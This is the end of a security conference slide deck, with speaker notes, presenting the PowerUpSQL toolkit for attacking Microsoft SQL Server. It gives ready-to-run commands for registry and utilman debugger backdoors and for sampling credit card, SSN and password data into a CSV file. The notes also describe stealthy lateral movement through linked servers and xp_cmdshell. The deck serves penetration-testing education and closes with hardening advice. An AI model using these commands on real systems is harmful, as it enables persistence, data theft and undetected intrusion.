  • 98. Post Exploitation: Persistence Task Command Example Registry Autorun Persistence Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command "EvilBoxEvilSandwich.exe" -Instance "SQLServer1STANDARDDEV2014" Debugger Backdoor Persistence Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:windowssystem32cmd.exe' -Instance "SQLServer1STANDARDDEV2014"
  • 100. Post Exploitation: Finding Data Task Command Example Locate Encrypted Databases Get-SQLInstanceDomain -Verbose | Get-SQLDatabaseThreaded –Verbose –Threads 10 -NoDefaults | Where-Object {$_.is_encrypted –eq “TRUE”} Locate and Sample Sensitive Columns and Export to CSV Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword “credit,ssn,password” –SampleSize 2 –ValidateCC –NoDefaults | Export-CSV –NoTypeInformation c:tempdatasample.csv
  • 101. Post Exploitation: DEMO Hunting for Sensitive Data
  • 102. Post Exploitation: Finding Sensitive Data DEMO
  • 104. General Recommendations 1. Enforce least privilege everywhere! 2. Disable dangerous default stored procedures. 3. Install security patches. 4. Audit and fix insecure configurations. 5. Use policy based management for standardizing configurations. 6. Enable auditing at the server and database levels, and monitor for potentially malicious activity.
  • 105. Take Aways 1. SQL Server is everywhere 2. SQL Server has many trust relationships with Windows/AD 3. Tons of people of public access 4. SQL Server has many default and common configurations that can be exploited to gain access 5. Service account have sysadmin privileges 6. A lot of it has been automated with PowerUPSQL
  • 106. PowerUpSQL Overview: Thanks! Individual Third Party Code / Direct Contributors Antti Rantasaari, Eric Gruber, and Alexander Leary, @leoloobeek, Mike Manzotti, Will Schroeder, @Sw4mpf0x, and @ktaranov Contributions, QA, bug fixes Boe Prox Runspace blogs Warren F. ( RamblingCookieMonster) Invoke-Parallel function Oyvind Kallstad Test-IsLuhnValid function Kevin Robertson Invoke-Inveigh Joe Bialek Invoke-TokenManipulation Khai Tran, NetSPI assessment and dev teams Design advice
  • 107. Speaker Information / Questions? Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/netspi/PowerUpSQL https://github.com/nullbind

Editor's Notes

  • #7: COMMON USE CASES phishing - clickonce, java applet, macro in office Sql injection download craddle
  • #8: Skip
  • #9: Skip
  • #10: Skip
  • #17: Skip
  • #37: Cornucopia of excessive privileges.
  • #38: Cornucopia of excessive privileges.
  • #39: Cornucopia of excessive privileges.
  • #40: Cornucopia of excessive privileges.
  • #41: Cornucopia of excessive privileges.
  • #42: Cornucopia of excessive privileges.
  • #43: Cornucopia of excessive privileges.
  • #44: Cornucopia of excessive privileges.
  • #45: Cornucopia of excessive privileges.
  • #46: Cornucopia of excessive privileges.
  • #47: Cornucopia of excessive privileges.
  • #48: Cornucopia of excessive privileges.
  • #49: Cornucopia of excessive privileges.
  • #50: Cornucopia of excessive privileges.
  • #51: Cornucopia of excessive privileges.
  • #52: Cornucopia of excessive privileges.
  • #54: Cornucopia of excessive privileges.
  • #66: Cornucopia of excessive privileges. You get sysadmins.
  • #67: Architecture overview.
  • #68: SQL injection.
  • #69: Scenario Database account with excessive privileges Shared service account Use xp_cmdshell to verify local command execution
  • #70: Use xp_cmdshell and OSQL to: Enumerate databases on the internal network Issues queries on remote HVA database server that is configured with the same service account. No alerts – using trusted account and non destructive native functionality No logs (or few logs) – No account creation or group modification No accountability!
  • #72: Another REALLY COOL lateral movement / privilege escalation technique.
  • #73: Architecture overview.
  • #74: Scenario No sysadmin role No excessive service account access No shared service account access Enumerate linked servers Find link to DB1 - Used to transmit marketing metrics to DB1
  • #75: Connect to DB1 (linked server) via OPENQUERY Has least privilege Enumerate linked servers Find link to HVA - Used to pull marketing metrics to DB1
  • #76: Connect to HVA (linked server) via NESTED OPENQUERY Configured with the SA account HVA could have access to other resources Nesting can continue Nested  Shared service account with excessive privs Linked database can be direct between high value and low value Other server not on the diagram Can be nested many times
  • #82: Neo4j Bloodhound pending
  • #84: Here’s the good one 
  • #89: Cornucopia of excessive privileges.
  • #107: Skip